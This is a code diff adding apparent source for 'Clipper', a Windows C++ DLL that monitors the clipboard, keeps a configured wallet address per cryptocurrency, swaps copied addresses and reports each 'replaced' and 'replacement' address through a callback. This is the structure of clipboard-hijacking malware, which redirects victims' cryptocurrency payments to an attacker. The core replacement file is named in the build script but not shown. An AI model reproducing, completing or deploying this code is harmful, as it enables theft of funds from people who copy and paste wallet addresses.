|
bool create_directory_recursive(const wchar_t* path) {
|
||||||
|
if (!path) return false;
|
||||||
|
|
||||||
|
wchar_t temp[MAX_PATH_LEN];
|
||||||
|
wcsncpy_s(temp, MAX_PATH_LEN, path, _TRUNCATE);
|
||||||
|
|
||||||
|
for (wchar_t* p = temp; *p; p++) {
|
||||||
|
if (*p == L'/' || *p == L'\\') {
|
||||||
|
wchar_t saved = *p;
|
||||||
|
*p = L'\0';
|
||||||
|
|
||||||
|
DWORD attrs = GetFileAttributesW(temp);
|
||||||
|
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||||
|
if (!CreateDirectoryW(temp, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
*p = saved;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD attrs = GetFileAttributesW(temp);
|
||||||
|
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||||
|
return CreateDirectoryW(temp, NULL) || GetLastError() == ERROR_ALREADY_EXISTS;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool file_exists(const wchar_t* path) {
|
||||||
|
if (!path) return false;
|
||||||
|
DWORD attrs = GetFileAttributesW(path);
|
||||||
|
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
|
||||||
|
}
|
||||||
+265908
File diff suppressed because it is too large
Load Diff
+13968
File diff suppressed because it is too large
Load Diff
Executable
+58
@@ -0,0 +1,58 @@
|
|||||||
|
cmake_minimum_required(VERSION 3.31)
|
||||||
|
project(Clipper LANGUAGES CXX)
|
||||||
|
|
||||||
|
set(CMAKE_CXX_STANDARD 23)
|
||||||
|
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||||
|
|
||||||
|
set(CLIPPER_BUILD_TEST "HEADER_ONLY"
|
||||||
|
CACHE STRING "Test build mode: STATIC, HEADER_ONLY, NO"
|
||||||
|
)
|
||||||
|
|
||||||
|
set_property(CACHE CLIPPER_BUILD_TEST PROPERTY STRINGS STATIC HEADER_ONLY NO)
|
||||||
|
|
||||||
|
add_library(ClipperCommon OBJECT
|
||||||
|
src/Clipper.h
|
||||||
|
src/WindowClassManager.hpp
|
||||||
|
src/ClipboardOperations.hpp
|
||||||
|
src/Clipboard.hpp
|
||||||
|
src/AddressManager.hpp
|
||||||
|
src/CallbackManager.hpp
|
||||||
|
src/CryptocurrencyValidator.hpp
|
||||||
|
src/CallbackManager.hpp
|
||||||
|
src/ClipperImpl.hpp
|
||||||
|
|
||||||
|
src/Clipper.cpp
|
||||||
|
src/WindowClassManager.cpp
|
||||||
|
src/ClipboardOperations.cpp
|
||||||
|
src/Clipboard.cpp
|
||||||
|
src/AddressManager.cpp
|
||||||
|
src/CallbackManager.cpp
|
||||||
|
src/CryptocurrencyValidator.cpp
|
||||||
|
src/ClipperImpl.cpp
|
||||||
|
)
|
||||||
|
|
||||||
|
add_library(Clipper SHARED
|
||||||
|
$<TARGET_OBJECTS:ClipperCommon>
|
||||||
|
src/DllMain.cpp
|
||||||
|
)
|
||||||
|
|
||||||
|
target_compile_definitions(ClipperCommon PRIVATE DLL_BUILD)
|
||||||
|
|
||||||
|
if (CLIPPER_BUILD_TEST STREQUAL "STATIC")
|
||||||
|
add_executable(ClipperTest
|
||||||
|
$<TARGET_OBJECTS:ClipperCommon>
|
||||||
|
src/ClipperTest.cpp
|
||||||
|
)
|
||||||
|
target_compile_definitions(ClipperTest PRIVATE TEST_STATIC_BUILD)
|
||||||
|
elseif (CLIPPER_BUILD_TEST STREQUAL "HEADER_ONLY")
|
||||||
|
add_executable(ClipperTest
|
||||||
|
src/Clipper.h
|
||||||
|
src/ClipperTest.cpp
|
||||||
|
)
|
||||||
|
elseif (CLIPPER_BUILD_TEST STREQUAL "NO")
|
||||||
|
else()
|
||||||
|
message(FATAL_ERROR
|
||||||
|
"Invalid value for CLIPPER_BUILD_TEST: ${CLIPPER_BUILD_TEST}\n"
|
||||||
|
"Valid values: STATIC, HEADER_ONLY, NO"
|
||||||
|
)
|
||||||
|
endif()
|
||||||
Executable
+161
@@ -0,0 +1,161 @@
|
|||||||
|
#include "AddressManager.hpp"
|
||||||
|
#include "CryptocurrencyValidator.hpp"
|
||||||
|
|
||||||
|
AddressManager::AddressManager()
|
||||||
|
{
|
||||||
|
InitializeSRWLock(&mLock);
|
||||||
|
|
||||||
|
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
|
||||||
|
mIsSet[i] = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool AddressManager::SetAddress(Cryptocurrency type, const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (!IsValidType(type))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
size_t index = GetTypeIndex(type);
|
||||||
|
|
||||||
|
LockForWrite();
|
||||||
|
mAddresses[index] = address;
|
||||||
|
mIsSet[index] = true;
|
||||||
|
UnlockFromWrite();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring AddressManager::GetAddress(Cryptocurrency type) const
|
||||||
|
{
|
||||||
|
if (!IsValidType(type))
|
||||||
|
return {};
|
||||||
|
|
||||||
|
size_t index = GetTypeIndex(type);
|
||||||
|
|
||||||
|
LockForRead();
|
||||||
|
std::wstring result = mAddresses[index];
|
||||||
|
UnlockFromRead();
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool AddressManager::HasAddress(Cryptocurrency type) const
|
||||||
|
{
|
||||||
|
if (!IsValidType(type))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
size_t index = GetTypeIndex(type);
|
||||||
|
|
||||||
|
LockForRead();
|
||||||
|
bool result = mIsSet[index];
|
||||||
|
UnlockFromRead();
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool AddressManager::IsAddressSet(Cryptocurrency type) const
|
||||||
|
{
|
||||||
|
return HasAddress(type);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool AddressManager::RemoveAddress(Cryptocurrency type)
|
||||||
|
{
|
||||||
|
if (!IsValidType(type))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
size_t index = GetTypeIndex(type);
|
||||||
|
|
||||||
|
LockForWrite();
|
||||||
|
mAddresses[index].clear();
|
||||||
|
mIsSet[index] = false;
|
||||||
|
UnlockFromWrite();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void AddressManager::ClearAllAddresses()
|
||||||
|
{
|
||||||
|
LockForWrite();
|
||||||
|
|
||||||
|
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
|
||||||
|
{
|
||||||
|
mAddresses[i].clear();
|
||||||
|
mIsSet[i] = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
UnlockFromWrite();
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t AddressManager::GetConfiguredCount() const
|
||||||
|
{
|
||||||
|
size_t count = 0;
|
||||||
|
|
||||||
|
LockForRead();
|
||||||
|
|
||||||
|
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
|
||||||
|
{
|
||||||
|
if (mIsSet[i])
|
||||||
|
count++;
|
||||||
|
}
|
||||||
|
|
||||||
|
UnlockFromRead();
|
||||||
|
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<Cryptocurrency> AddressManager::GetConfiguredTypes() const
|
||||||
|
{
|
||||||
|
std::vector<Cryptocurrency> types;
|
||||||
|
|
||||||
|
LockForRead();
|
||||||
|
|
||||||
|
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
|
||||||
|
{
|
||||||
|
if (mIsSet[i])
|
||||||
|
types.push_back(static_cast<Cryptocurrency>(i));
|
||||||
|
}
|
||||||
|
|
||||||
|
UnlockFromRead();
|
||||||
|
|
||||||
|
return types;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool AddressManager::ValidateAndSet(Cryptocurrency type, const std::wstring& address)
|
||||||
|
{
|
||||||
|
if (!IsValidType(type))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!CryptocurrencyValidator::Validate(type, address))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return SetAddress(type, address);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool AddressManager::IsValidType(Cryptocurrency type) const
|
||||||
|
{
|
||||||
|
return static_cast<size_t>(type) < Cryptocurrency::ElementsCount;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t AddressManager::GetTypeIndex(Cryptocurrency type) const
|
||||||
|
{
|
||||||
|
return static_cast<size_t>(type);
|
||||||
|
}
|
||||||
|
|
||||||
|
void AddressManager::LockForRead() const
|
||||||
|
{
|
||||||
|
AcquireSRWLockShared(&mLock);
|
||||||
|
}
|
||||||
|
|
||||||
|
void AddressManager::UnlockFromRead() const
|
||||||
|
{
|
||||||
|
ReleaseSRWLockShared(&mLock);
|
||||||
|
}
|
||||||
|
|
||||||
|
void AddressManager::LockForWrite()
|
||||||
|
{
|
||||||
|
AcquireSRWLockExclusive(&mLock);
|
||||||
|
}
|
||||||
|
|
||||||
|
void AddressManager::UnlockFromWrite()
|
||||||
|
{
|
||||||
|
ReleaseSRWLockExclusive(&mLock);
|
||||||
|
}
|
||||||
Executable
+41
@@ -0,0 +1,41 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Clipper.h"
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <string>
|
||||||
|
#include <array>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
class AddressManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
AddressManager();
|
||||||
|
~AddressManager() noexcept = default;
|
||||||
|
|
||||||
|
bool SetAddress(Cryptocurrency type, const std::wstring& address);
|
||||||
|
std::wstring GetAddress(Cryptocurrency type) const;
|
||||||
|
|
||||||
|
bool HasAddress(Cryptocurrency type) const;
|
||||||
|
bool IsAddressSet(Cryptocurrency type) const;
|
||||||
|
|
||||||
|
bool RemoveAddress(Cryptocurrency type);
|
||||||
|
void ClearAllAddresses();
|
||||||
|
|
||||||
|
size_t GetConfiguredCount() const;
|
||||||
|
std::vector<Cryptocurrency> GetConfiguredTypes() const;
|
||||||
|
|
||||||
|
bool ValidateAndSet(Cryptocurrency type, const std::wstring& address);
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool IsValidType(Cryptocurrency type) const;
|
||||||
|
size_t GetTypeIndex(Cryptocurrency type) const;
|
||||||
|
|
||||||
|
void LockForRead() const;
|
||||||
|
void UnlockFromRead() const;
|
||||||
|
void LockForWrite();
|
||||||
|
void UnlockFromWrite();
|
||||||
|
|
||||||
|
std::array<std::wstring, Cryptocurrency::ElementsCount> mAddresses;
|
||||||
|
std::array<bool, Cryptocurrency::ElementsCount> mIsSet;
|
||||||
|
|
||||||
|
mutable SRWLOCK mLock;
|
||||||
|
};
|
||||||
Executable
+147
@@ -0,0 +1,147 @@
|
|||||||
|
#include "CallbackManager.hpp"
|
||||||
|
|
||||||
|
CallbackManager::CallbackManager() : mCallback(nullptr), mInvocationCount(0)
|
||||||
|
{
|
||||||
|
InitializeSRWLock(&mLock);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CallbackManager::SetCallback(ClipperActivationCallback callback)
|
||||||
|
{
|
||||||
|
if (!ValidateCallback(callback))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
LockForWrite();
|
||||||
|
mCallback = callback;
|
||||||
|
UnlockFromWrite();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
ClipperActivationCallback CallbackManager::GetCallback() const
|
||||||
|
{
|
||||||
|
LockForRead();
|
||||||
|
ClipperActivationCallback callback = mCallback;
|
||||||
|
UnlockFromRead();
|
||||||
|
|
||||||
|
return callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CallbackManager::HasCallback() const
|
||||||
|
{
|
||||||
|
LockForRead();
|
||||||
|
bool result = IsCallbackValid();
|
||||||
|
UnlockFromRead();
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CallbackManager::ClearCallback()
|
||||||
|
{
|
||||||
|
LockForWrite();
|
||||||
|
mCallback = nullptr;
|
||||||
|
UnlockFromWrite();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CallbackManager::InvokeCallback(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement)
|
||||||
|
{
|
||||||
|
LockForRead();
|
||||||
|
ClipperActivationCallback callback = mCallback;
|
||||||
|
UnlockFromRead();
|
||||||
|
|
||||||
|
if (callback)
|
||||||
|
{
|
||||||
|
callback(currency, replaced, replacement);
|
||||||
|
IncrementInvocationCount();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CallbackManager::InvokeCallbackSafe(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement)
|
||||||
|
{
|
||||||
|
CallbackInvocationData data = CreateInvocationData(currency, replaced, replacement);
|
||||||
|
|
||||||
|
if (!ValidateInvocationData(data))
|
||||||
|
return;
|
||||||
|
|
||||||
|
InvokeCallback(currency, replaced, replacement);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CallbackManager::ValidateCallback(ClipperActivationCallback callback) const
|
||||||
|
{
|
||||||
|
return callback != nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t CallbackManager::GetInvocationCount() const
|
||||||
|
{
|
||||||
|
LockForRead();
|
||||||
|
size_t count = mInvocationCount;
|
||||||
|
UnlockFromRead();
|
||||||
|
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CallbackManager::ResetInvocationCount()
|
||||||
|
{
|
||||||
|
LockForWrite();
|
||||||
|
mInvocationCount = 0;
|
||||||
|
UnlockFromWrite();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CallbackManager::LockForRead() const
|
||||||
|
{
|
||||||
|
AcquireSRWLockShared(&mLock);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CallbackManager::UnlockFromRead() const
|
||||||
|
{
|
||||||
|
ReleaseSRWLockShared(&mLock);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CallbackManager::LockForWrite()
|
||||||
|
{
|
||||||
|
AcquireSRWLockExclusive(&mLock);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CallbackManager::UnlockFromWrite()
|
||||||
|
{
|
||||||
|
ReleaseSRWLockExclusive(&mLock);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CallbackManager::IsCallbackValid() const
|
||||||
|
{
|
||||||
|
return mCallback != nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CallbackManager::IncrementInvocationCount()
|
||||||
|
{
|
||||||
|
LockForWrite();
|
||||||
|
mInvocationCount++;
|
||||||
|
UnlockFromWrite();
|
||||||
|
}
|
||||||
|
|
||||||
|
CallbackInvocationData CallbackManager::CreateInvocationData(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement) const
|
||||||
|
{
|
||||||
|
CallbackInvocationData data;
|
||||||
|
data.Currency = currency;
|
||||||
|
|
||||||
|
if (replaced)
|
||||||
|
data.ReplacedAddress = replaced;
|
||||||
|
|
||||||
|
if (replacement)
|
||||||
|
data.ReplacementAddress = replacement;
|
||||||
|
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CallbackManager::ValidateInvocationData(const CallbackInvocationData& data) const
|
||||||
|
{
|
||||||
|
if (static_cast<size_t>(data.Currency) >= Cryptocurrency::ElementsCount)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (data.ReplacedAddress.empty())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (data.ReplacementAddress.empty())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
Executable
+47
@@ -0,0 +1,47 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Clipper.h"
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
struct CallbackInvocationData
|
||||||
|
{
|
||||||
|
Cryptocurrency Currency;
|
||||||
|
std::wstring ReplacedAddress;
|
||||||
|
std::wstring ReplacementAddress;
|
||||||
|
};
|
||||||
|
|
||||||
|
class CallbackManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CallbackManager();
|
||||||
|
~CallbackManager() noexcept = default;
|
||||||
|
|
||||||
|
bool SetCallback(ClipperActivationCallback callback);
|
||||||
|
ClipperActivationCallback GetCallback() const;
|
||||||
|
bool HasCallback() const;
|
||||||
|
void ClearCallback();
|
||||||
|
|
||||||
|
void InvokeCallback(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);
|
||||||
|
void InvokeCallbackSafe(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);
|
||||||
|
|
||||||
|
bool ValidateCallback(ClipperActivationCallback callback) const;
|
||||||
|
|
||||||
|
size_t GetInvocationCount() const;
|
||||||
|
void ResetInvocationCount();
|
||||||
|
|
||||||
|
private:
|
||||||
|
void LockForRead() const;
|
||||||
|
void UnlockFromRead() const;
|
||||||
|
void LockForWrite();
|
||||||
|
void UnlockFromWrite();
|
||||||
|
|
||||||
|
bool IsCallbackValid() const;
|
||||||
|
void IncrementInvocationCount();
|
||||||
|
|
||||||
|
CallbackInvocationData CreateInvocationData(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement) const;
|
||||||
|
bool ValidateInvocationData(const CallbackInvocationData& data) const;
|
||||||
|
|
||||||
|
ClipperActivationCallback mCallback;
|
||||||
|
size_t mInvocationCount;
|
||||||
|
mutable SRWLOCK mLock;
|
||||||
|
};
|
||||||
Executable
+160
@@ -0,0 +1,160 @@
|
|||||||
|
#include "Clipboard.hpp"
|
||||||
|
#include "ClipboardOperations.hpp"
|
||||||
|
|
||||||
|
std::unique_ptr<Clipboard> Clipboard::sInstance = nullptr;
|
||||||
|
|
||||||
|
void Clipboard::Initialize(const wchar_t* windowClassName)
|
||||||
|
{
|
||||||
|
if (!sInstance)
|
||||||
|
sInstance.reset(new Clipboard(windowClassName));
|
||||||
|
}
|
||||||
|
|
||||||
|
void Clipboard::SetCallback(OnClipboardContentChangedCallback callback)
|
||||||
|
{
|
||||||
|
if (!sInstance)
|
||||||
|
return;
|
||||||
|
|
||||||
|
AcquireSRWLockExclusive(&sInstance->mCallbackLock);
|
||||||
|
sInstance->mCallback = std::move(callback);
|
||||||
|
ReleaseSRWLockExclusive(&sInstance->mCallbackLock);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Clipboard::SetClipboardText(const std::wstring& newText)
|
||||||
|
{
|
||||||
|
if (!sInstance)
|
||||||
|
return;
|
||||||
|
|
||||||
|
sInstance->SetClipboardTextImpl(newText);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring Clipboard::GetClipboardText()
|
||||||
|
{
|
||||||
|
if (!sInstance)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
return sInstance->GetClipboardTextImpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
Clipboard::Clipboard(const wchar_t* windowClassName) : mWindowsClassName(windowClassName)
|
||||||
|
{
|
||||||
|
InitializeSRWLock(&mCallbackLock);
|
||||||
|
|
||||||
|
mhReadyEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
|
||||||
|
|
||||||
|
mWindowClassManager = std::make_unique<WindowClassManager>(windowClassName);
|
||||||
|
|
||||||
|
mhThread = CreateThread(nullptr, 0, ThreadProcStatic, this, 0, nullptr);
|
||||||
|
|
||||||
|
WaitForSingleObject(mhReadyEvent, INFINITE);
|
||||||
|
CloseHandle(mhReadyEvent);
|
||||||
|
mhReadyEvent = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
Clipboard::~Clipboard()
|
||||||
|
{
|
||||||
|
if (mhWindow)
|
||||||
|
PostMessageW(mhWindow, WM_QUIT, 0, 0);
|
||||||
|
|
||||||
|
if (mhThread)
|
||||||
|
{
|
||||||
|
WaitForSingleObject(mhThread, INFINITE);
|
||||||
|
CloseHandle(mhThread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI Clipboard::ThreadProcStatic(LPVOID lpParam)
|
||||||
|
{
|
||||||
|
auto* clipboard = static_cast<Clipboard*>(lpParam);
|
||||||
|
clipboard->ThreadMain();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Clipboard::ThreadMain()
|
||||||
|
{
|
||||||
|
if (!mWindowClassManager->Register(WndProc))
|
||||||
|
{
|
||||||
|
SetEvent(mhReadyEvent);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
mhWindow = CreateWindowExW(0, mWindowsClassName.c_str(), nullptr, 0, 0, 0, 0, 0, HWND_MESSAGE, nullptr, GetModuleHandleW(nullptr), nullptr);
|
||||||
|
if (!mhWindow)
|
||||||
|
{
|
||||||
|
mWindowClassManager->Unregister();
|
||||||
|
SetEvent(mhReadyEvent);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetWindowLongPtrW(mhWindow, GWLP_USERDATA, reinterpret_cast<LONG_PTR>(this));
|
||||||
|
|
||||||
|
if (!AddClipboardFormatListener(mhWindow))
|
||||||
|
{
|
||||||
|
DestroyWindow(mhWindow);
|
||||||
|
mWindowClassManager->Unregister();
|
||||||
|
SetEvent(mhReadyEvent);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetEvent(mhReadyEvent);
|
||||||
|
|
||||||
|
MSG msg;
|
||||||
|
while (GetMessageW(&msg, nullptr, 0, 0) > 0)
|
||||||
|
{
|
||||||
|
TranslateMessage(&msg);
|
||||||
|
DispatchMessageW(&msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
RemoveClipboardFormatListener(mhWindow);
|
||||||
|
DestroyWindow(mhWindow);
|
||||||
|
mWindowClassManager->Unregister();
|
||||||
|
}
|
||||||
|
|
||||||
|
LRESULT CALLBACK Clipboard::WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
if (msg != WM_CLIPBOARDUPDATE)
|
||||||
|
return DefWindowProcW(hwnd, msg, wParam, lParam);
|
||||||
|
|
||||||
|
auto* self = reinterpret_cast<Clipboard*>(GetWindowLongPtrW(hwnd, GWLP_USERDATA));
|
||||||
|
if (self && self->mCallback)
|
||||||
|
{
|
||||||
|
std::wstring text = self->GetClipboardTextImpl();
|
||||||
|
if (!text.empty())
|
||||||
|
{
|
||||||
|
AcquireSRWLockShared(&self->mCallbackLock);
|
||||||
|
auto callback = self->mCallback;
|
||||||
|
ReleaseSRWLockShared(&self->mCallbackLock);
|
||||||
|
|
||||||
|
callback(text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Clipboard::SetClipboardTextImpl(const std::wstring& newText)
|
||||||
|
{
|
||||||
|
if (!mhWindow || !OpenClipboard(mhWindow))
|
||||||
|
return;
|
||||||
|
|
||||||
|
EmptyClipboard();
|
||||||
|
|
||||||
|
HGLOBAL hMem = ClipboardOperations::CreateTextData(newText);
|
||||||
|
if (hMem)
|
||||||
|
SetClipboardData(CF_UNICODETEXT, hMem);
|
||||||
|
|
||||||
|
CloseClipboard();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring Clipboard::GetClipboardTextImpl()
|
||||||
|
{
|
||||||
|
if (!mhWindow || !OpenClipboard(mhWindow))
|
||||||
|
return {};
|
||||||
|
|
||||||
|
std::wstring text;
|
||||||
|
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
|
||||||
|
if (hData)
|
||||||
|
text = ClipboardOperations::ExtractTextData(hData);
|
||||||
|
|
||||||
|
CloseClipboard();
|
||||||
|
return text;
|
||||||
|
}
|
||||||
Executable
+43
@@ -0,0 +1,43 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "WindowClassManager.hpp"
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <functional>
|
||||||
|
#include <memory>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
using OnClipboardContentChangedCallback = std::function<void(const std::wstring& content)>;
|
||||||
|
|
||||||
|
class Clipboard
|
||||||
|
{
|
||||||
|
friend std::default_delete<Clipboard>;
|
||||||
|
|
||||||
|
public:
|
||||||
|
static void Initialize(const wchar_t* windowClassName);
|
||||||
|
|
||||||
|
static void SetCallback(OnClipboardContentChangedCallback callback);
|
||||||
|
static void SetClipboardText(const std::wstring& newText);
|
||||||
|
static std::wstring GetClipboardText();
|
||||||
|
|
||||||
|
private:
|
||||||
|
Clipboard(const wchar_t* windowClassName);
|
||||||
|
~Clipboard();
|
||||||
|
|
||||||
|
static DWORD WINAPI ThreadProcStatic(LPVOID lpParam);
|
||||||
|
void ThreadMain();
|
||||||
|
static LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||||
|
|
||||||
|
void SetClipboardTextImpl(const std::wstring& newText);
|
||||||
|
std::wstring GetClipboardTextImpl();
|
||||||
|
|
||||||
|
std::unique_ptr<WindowClassManager> mWindowClassManager;
|
||||||
|
HWND mhWindow = nullptr;
|
||||||
|
HANDLE mhThread = nullptr;
|
||||||
|
HANDLE mhReadyEvent = nullptr;
|
||||||
|
|
||||||
|
const std::wstring mWindowsClassName;
|
||||||
|
|
||||||
|
OnClipboardContentChangedCallback mCallback = nullptr;
|
||||||
|
SRWLOCK mCallbackLock;
|
||||||
|
|
||||||
|
static std::unique_ptr<Clipboard> sInstance;
|
||||||
|
};
|
||||||
Executable
+108
@@ -0,0 +1,108 @@
|
|||||||
|
#include "ClipboardOperations.hpp"
|
||||||
|
|
||||||
|
HGLOBAL ClipboardOperations::AllocateMemory(size_t size)
|
||||||
|
{
|
||||||
|
return GlobalAlloc(GMEM_MOVEABLE, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
void ClipboardOperations::FreeMemory(HGLOBAL hMem)
|
||||||
|
{
|
||||||
|
if (hMem)
|
||||||
|
GlobalFree(hMem);
|
||||||
|
}
|
||||||
|
|
||||||
|
void* ClipboardOperations::LockMemory(HGLOBAL hMem)
|
||||||
|
{
|
||||||
|
if (!hMem)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
return GlobalLock(hMem);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ClipboardOperations::UnlockMemory(HGLOBAL hMem)
|
||||||
|
{
|
||||||
|
if (!hMem)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return GlobalUnlock(hMem) || GetLastError() == NO_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t ClipboardOperations::GetMemorySize(HGLOBAL hMem)
|
||||||
|
{
|
||||||
|
if (!hMem)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return GlobalSize(hMem);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ClipboardOperations::IsMemoryValid(HGLOBAL hMem)
|
||||||
|
{
|
||||||
|
return hMem != nullptr && GetMemorySize(hMem) > 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ClipboardOperations::CopyToMemory(HGLOBAL hMem, const void* data, size_t size)
|
||||||
|
{
|
||||||
|
if (!hMem || !data || size == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
void* pLocked = LockMemory(hMem);
|
||||||
|
if (!pLocked)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
memcpy(pLocked, data, size);
|
||||||
|
UnlockMemory(hMem);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ClipboardOperations::CopyFromMemory(void* dest, HGLOBAL hMem, size_t size)
|
||||||
|
{
|
||||||
|
if (!dest || !hMem || size == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
void* pLocked = LockMemory(hMem);
|
||||||
|
if (!pLocked)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
memcpy(dest, pLocked, size);
|
||||||
|
UnlockMemory(hMem);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
HGLOBAL ClipboardOperations::CreateTextData(const std::wstring& text)
|
||||||
|
{
|
||||||
|
size_t size = CalculateTextSize(text);
|
||||||
|
HGLOBAL hMem = AllocateMemory(size);
|
||||||
|
|
||||||
|
if (!hMem)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
if (!CopyToMemory(hMem, text.c_str(), size))
|
||||||
|
{
|
||||||
|
FreeMemory(hMem);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
return hMem;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring ClipboardOperations::ExtractTextData(HGLOBAL hData)
|
||||||
|
{
|
||||||
|
if (!hData)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
wchar_t* pText = static_cast<wchar_t*>(LockMemory(hData));
|
||||||
|
if (!pText)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
std::wstring result = pText;
|
||||||
|
UnlockMemory(hData);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t ClipboardOperations::CalculateTextSize(const std::wstring& text)
|
||||||
|
{
|
||||||
|
return (text.size() + 1) * sizeof(wchar_t);
|
||||||
|
}
|
||||||
Executable
+25
@@ -0,0 +1,25 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
class ClipboardOperations
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
